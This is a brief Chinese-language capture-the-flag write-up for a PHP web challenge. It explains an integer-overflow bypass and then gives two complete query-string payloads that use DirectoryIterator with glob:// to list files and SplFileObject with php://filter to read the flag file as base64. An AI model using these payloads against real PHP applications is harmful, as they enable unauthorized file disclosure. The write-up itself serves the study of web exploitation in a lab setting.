打开通过页面源码提示获得源码

第一个绕过，让c=2^63-2=9223372036854775806（64位机），当++$c时达到int的最大值，这样$count[] = 1 就会溢出int的范围从而使得赋值失败，if语句为false

第二个绕过，使用DirectoryIterator类结合glob协议寻找flag：
a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php，获得真flag的文件名

使用SplFileObject结合伪协议读取flag内容：
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag文件名

payload：
1.
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.php
2.
c=9223372036854775806&a=SplFileObject&b=php://filter/convert.base64-encode/resource=第一步得到的flag文件名

ps：还是向大佬咨询所得，太菜了，啥也不会~